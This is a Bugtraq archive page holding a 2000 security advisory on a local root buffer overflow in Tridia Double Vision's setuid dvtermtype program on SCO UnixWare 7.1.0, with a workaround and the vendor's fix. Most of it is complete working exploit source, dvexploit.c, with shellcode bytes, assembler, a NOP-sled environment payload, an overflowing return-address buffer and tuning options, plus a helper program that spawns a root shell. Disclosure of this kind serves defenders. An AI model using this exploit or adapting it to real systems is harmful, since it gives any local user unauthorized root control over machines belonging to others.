Bugtraq mailing list archives

Advisory: Tridia DoubleVision / SCO UnixWare


From: Stephen Friedl <friedl () MTNDEW COM>
Date: Sat, 16 Sep 2000 09:33:44 -0700

Security Advisory: SCO UnixWare 7 / Double Vision local root exploit

By:     Stephen J. Friedl, Software Consultant (steve () unixwiz net)
Date:   2000-09-16 (discovered late June 2000)

Short Summary:

        The "Double Vision" product for SCO UnixWare has a buffer overflow
        vulnerabilty that allows any local user to gain full root privileges.

        The nature of the bug is such that it is likely open to all the
        supported Double Vision platforms, not just SCO UnixWare, though
        the exploit code provided won't exercise it anywhere else.

Systems/Versions affected:

        - SCO UnixWare 7.1.0 (Intel)
        - Double Vision (from Tridia Corp) version 3.07.00

Product Summary:

        Double Vision for Character Terminals is from Tridia Corp. (formerly
        "Maximum Computer Technology"), and it taps into the data stream of
        a character terminal session. It's been likened to "pcAnywhere for
        UNIX", and it allows for an admin to watch or take over the session
        of a user.  UNIX admins who use this positively swear by it. The
        product is quite mature -- shipping since 1991 -- and is available
        for most of the popular UNIX / Linux systems.

        The product as tested delivers several binaries into /usr/lib/dv/*,
        and nine of them are setuid root. There are also several small
        scripts in /bin that front-end for the "real" programs in /usr/lib/dv,
        and for our exploit we focus on the "dvtermtype" program.

        This program is essentially run at login time to tell the Double Vision
        system what kind of terminal the user is on, so when run elsewhere by
        an admin, the program can do proper escape-code translations on the
        fly. dvtermtype modifies /usr/lib/dv/ttytype, an ASCII file with
        termtype/devicename pairs, one per line.

Vulnerability:

        The dvtermtype program takes two parameters: the terminal name and
        the terminal type, and we've found that providing a very long string
        for the term type can overflow an internal buffer and overwrite the
        return address on the stack. We take advantage of this by providing
        the exploit code in an environment variable (which can be at a
        predictable address) and overflow the buffer with the address of that
        exploit code.

        The rootshell code runs /tmp/ui, which is a little helper program
        that simply does a setreuid(0,0) to fully become root, then execs
        the standard Bourne shell. This is a root shell. It would be possible
        to build this setreuid() business into the shellcode, but this was
        easier in the limited time available to develop the exploit.

        With the versions mentioned earlier in this Advisory, the exploit
        is very simple:

                $ cd /tmp
                $ cat > ui.c
                int main() { setreuid(0,0); system("/bin/sh"); return 0; }
                ^D
                $ cc ui.c -o ui
                $ cc dvexploit.c -o dvexploit
                $ ./dvexploit
                #               <-- root shell here

        For the specific versions mentioned above, the exploit program cracks
        root instantly, but other variants might require some tuning that is
        described in the exploit source code. We do not have access to Double
        Vision on other platforms so have not even attempted "porting" this
        exploit.

        Special thanks go to Brock Tellier (btellier () usa net) who wrote
        the original SCO UnixWare shellcode, and it was a very helpful
        starting point for this research.

Workaround:

        One approach is to remove the setuid bit from the executable, and
        this may or may not be workable in real environments. For systems
        using character terminals with fixed device names (ttyA04), the
        admin can set these term types in advance knowing that the terminal
        type won't change over time. So when he goes to remotely control
        a user's session, the ttytype database will be correct.

        This can be more difficult in a network environment where users
        come in via telnet. In this circumstance, any given user can
        enter the system at a varying device name (a pseudo-tty), but
        if the admin knows the user's actual term type, he can set it
        manually:

                # /usr/lib/dv/dvtermtype termtype devicename

        For homogeneous environments where all users use the same software,
        this might not be such an inconvenience.

Vendor Response:

        Tridia Corp. has released an update (3.07.01 Build#1) that fixes
        this problem for Unixware, but it's not been clear that they have
        given this any thought on other platforms. It's available on their
        web site (http://www.tridia.com), though I'm not sure just who
        qualifies to obtain it.

        I must say that Tridia have fallen all over themselves to address
        this properly and get a fix released in short order: they've been
        quite a pleasure to work with (they even sent me a thank-you
        tee shirt!)



/*
 * dvexploit.c
 *
 * written by : Stephen J. Friedl
 *              Software Consultant
 *              2000-06-24
 *              steve () unixwiz net
 *
 *      This program exploits the "Double Vision" system on SCO
 *      Unixware 7.1.0 via a buffer overflow on the "dvtermtype"
 *      program. Double Vision is like a "pcAnywhere for UNIX",
 *      but quite a few programs in this distribution are setuid
 *      root. The problem is that these programs were not written
 *      with security in mind, and it's not clear that they even
 *      need to be setuid root.
 *
 *      This particular program exploits "dvtermtype" by passing a
 *      very long second parameter that overflows some internal
 *      buffer. This buffer is filled with a predicted address
 *      of the shellcode, and the shellcode itself is stored in
 *      a very long environment variable. This approach makes
 *      the shellcode much easier to find.
 *
 *      This shellcode was based directly on the great work of
 *      Brock Tellier (btellier () usa net), who seems to spend a lot
 *      of time within with various SCO UNIX release. Thanks!
 *
 *      This shellcode runs /tmp/ui, which should be this simple
 *      program:
 *
 *      $ cd /tmp
 *      $ cat ui.c
 *      int main() { setreuid(0,0); system("/bin/sh"); return 0; }
 *      $ cc ui.c -o ui
 *
 *      Brock's original work compiled this automatically, but I
 *      prefer to do it by hand. A better approach is to do the
 *      setreuid() in the shellcode and call /bin/sh directly.
 *      Maybe another day.
 *
 * BUILD/TEST ENVIRONMENT
 * ----------------------
 *
 *      $ cc -v
 *      UX:cc: INFO: Optimizing C Compilation System  (CCS) 3.2  03/03/99 (CA-unk_voyager5)
 *
 *      $ uname -a
 *      UnixWare foo 5 7.1.0 i386 x86at SCO UNIX_SVR5
 *
 *      from /usr/lib/dv/README
 *
 *              DoubleVision for Character Terminals Release 3.0
 *              Last Update:  December 7, 1999
 *
 * TUNING
 * ------
 *
 *      The default parameters to this program work on the versions mentioned
 *      above, but for variants some tuning might be required. There are three
 *      parameters that guide this program's operation:
 *
 *      -a retaddr      set the "return" address to the given hex value,
 *                      which is the address where we expect to find the
 *                      exploit code in the environment. The environment
 *                      is at a relatively fixed location just below
 *                      0x80000000, so getting "close" is usually sufficient.
 *                      Note that this address cannot have any zero bytes
 *                      in it! We believe that the target code has enough
 *                      padding NOP values to make it an easy target.
 *
 *      -r retlen       length of the overflowed "return address" buffer,
 *                      which is filled in with the address provided above.
 *                      Default = 2k, max = 5k.
 *
 *      -l n            slightly shift the alignment of the return address
 *                      buffer by 1, 2 or 3 in case the buffer that's being
 *                      overflowed.
 */

#include <stdlib.h>
#include <stdio.h>

/*-----------------------------------------------------------------------
 * shellcode for SCO UnixWare
 *
 *      The shellcode in the binary was derived from assembler code
 *      below, and we put the asm() code inside the function so we
 *      can disassemble it and get the binary bytes easier. The code
 *      all should match, but the real original data is the full
 *      asm() code.
 */
#if 1

static const char scoshell[] =
        "\xeb\x19\x5e\x33\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11"
        "\x33\xc0\xb0\x3b\x8d\x7e\x07\x53\x57\x56\x56\xeb\x10\xe8"
        "\xe2\xff\xff\xff"
        "/tmp/ui"
        "\xaa\xaa\xaa\xaa"
        "\x9a\xaa\xaa\xaa\xaa\x07\xaa";

#else

extern char     scoshell[];

static void foo()
{

asm("#-------------------------------------------");
asm("scoshell:");
asm("           jmp     L1b");                  /* go to springboard    */
asm("   L2b:    popl    %esi");                 /* addr of /tmp/ui      */
asm("           xorl    %ebx,%ebx");            /* %ebx <-- 0           */
asm("           movl    %ebx,  7(%esi)");       /* mark end of string   */
asm("           movl    %ebx, 12(%esi)");       /* 0 to lcall addr      */
asm("           movb    %bl,  17(%esi)");       /* 0 to lcall sub addr  */
asm("           xorl    %eax,%eax");            /* %eax <-- 0           */
asm("           movb    $0x3b, %al");           /* 0x3b = "execve"      */
asm("           leal    7(%esi), %edi");        /* addr of NULL word    */
asm("           pushl   %ebx");                 /* zero                 */
asm("           pushl   %edi");                 /* addr of NULL word    */
asm("           pushl   %esi");                 /* addr of "/tmp/ui"    */
asm("           pushl   %esi");                 /* addr of "/tmp/ui"    */
asm("           jmp     L3b");                  /* do OS call           */
asm("   L1b:    call    L2b");
asm("           .ascii  \"/tmp/ui\"");          /* %esi                 */
asm("           .4byte  0xaaaaaaaa");           /* %esi[ 7]             */
asm("   L3b:    lcall   $0xaa07,$0xaaaaaaaa");  /* OS call              */
asm("           .byte   0x00");                 /* endmarker            */
asm("#-------------------------------------------");

}

#endif

#define NOP     0x90

static char     *env[10],       // environment strings
                *arg[10];       // argument vector

/*------------------------------------------------------------------------
 * "Addr" is the predicted address where the shellcode starts in the
 * environment buffer. This was determined empirically based on a test
 * program that ran similarly, and it ought to be fairly consistent.
 * This can be changed with the "-a" parameter.
 */
static long     addr = 0x7ffffc04;

static char     *exefile = "/usr/lib/dv/dvtermtype";

int main(int argc, char *argv[])
{
int     c;
int     i;
char    egg[1024];
int     egglen = sizeof egg - 1;
int     retlen = 2048;
char    retbuf[5000];
int     align = 0;
char    *p;

        setbuf(stdout, (char *)0 );

        while ( (c = getopt(argc, argv, "a:r:l:")) != EOF )
        {
                switch (c)
                {
                  case 'a':     addr = strtol(optarg, 0, 16); break;
                  case 'l':     align = atoi(optarg); break;
                  case 'r':     retlen = atoi(optarg); break;
                }
        }

        if ( optind < argc )
                exefile = argv[optind++];

        printf("UnixWare 7.x exploit for suid root Double Vision\n");
        printf("Stephen Friedl <steve () unixwiz net>\n");
        printf("Using addr=0x%x   retlen=%d\n", addr, retlen);

        /*---------------------------------------------------------------
         * sanity check: the return buffer requested can't be too big,
         * and the address can't have any zero bytes in it.
         */
        if ( retlen > sizeof(retbuf) )
        {
                printf("ERROR: retlen can't be > %d\n", sizeof(retlen));
                exit(1);
        }

        p = (char *)&addr;

        if ( !p[0] || !p[1] || !p[2] || !p[3] )
        {
                printf("ERROR: ret address 0x%08lx has a zero byte!\n", addr);
                exit(1);
        }

        /*---------------------------------------------------------------
         * Now create the "return" buffer that is used to overflow the
         * return address. This buffer really has nothing in it other than
         * repeated copies of the phony return address, and one of them
         * will overwrite the real %EIP on the stack. Then when the called
         * function returns, it jumps to our code.
         *
         * It's possible that this requires alignment to get right, so
         * the "-l" param above can be used to adjust this from 0..3.
         * If we're aligning, be sure to fill in the early part of the
         * buffer with non-zero bytes ("XXXX");
         */
        strcpy(&retbuf, "XXXX");

        for (i = align; i < retlen - 4; i += 4)
        {
                memcpy(retbuf+i, &addr, 4);
        }
        retbuf[i] = 0;

        printf("strlen(retbuf) = %d\n", strlen( (char *)retbuf) );

        /*---------------------------------------------------------------
         * The "egg" is our little program that is stored in the environment
         * vector, and it's mostly filled with NOP values but with our little
         * root code at the end. Gives a wide "target" to hit: any of the
         * leading bytes hits a NOP and flows down to the real code.
         *
         * The overall buffer is
         *
         *      X=################xxxxxxxxxxxxxxxxxxxxx\0
         *
         * where # is a NOP instruction, and "X" is the exploit code. There
         * must be a terminating NUL byte so the environment processor does
         * the right thing also.
         */
        memset(egg, NOP, egglen);
        memcpy(egg, "EGG=", 4);

        // put our egg in the tail end of this buffer
        memcpy(egg + (egglen - strlen(scoshell)- 1), scoshell, strlen(scoshell));

        egg[egglen] = '\0';

        /* build up regular command line */

        arg[0] = exefile;
        arg[1] = "dvexploit";           /* easy to find this later */
        arg[2] = (char *)retbuf;
        arg[3] = 0;

        /*---------------------------------------------------------------
         * build up the environment that contains our shellcode. This
         * keeps it off the stack.
         */
        env[0] = egg;
        env[1] = 0;

        execve(arg[0], arg, env);
}


Current thread: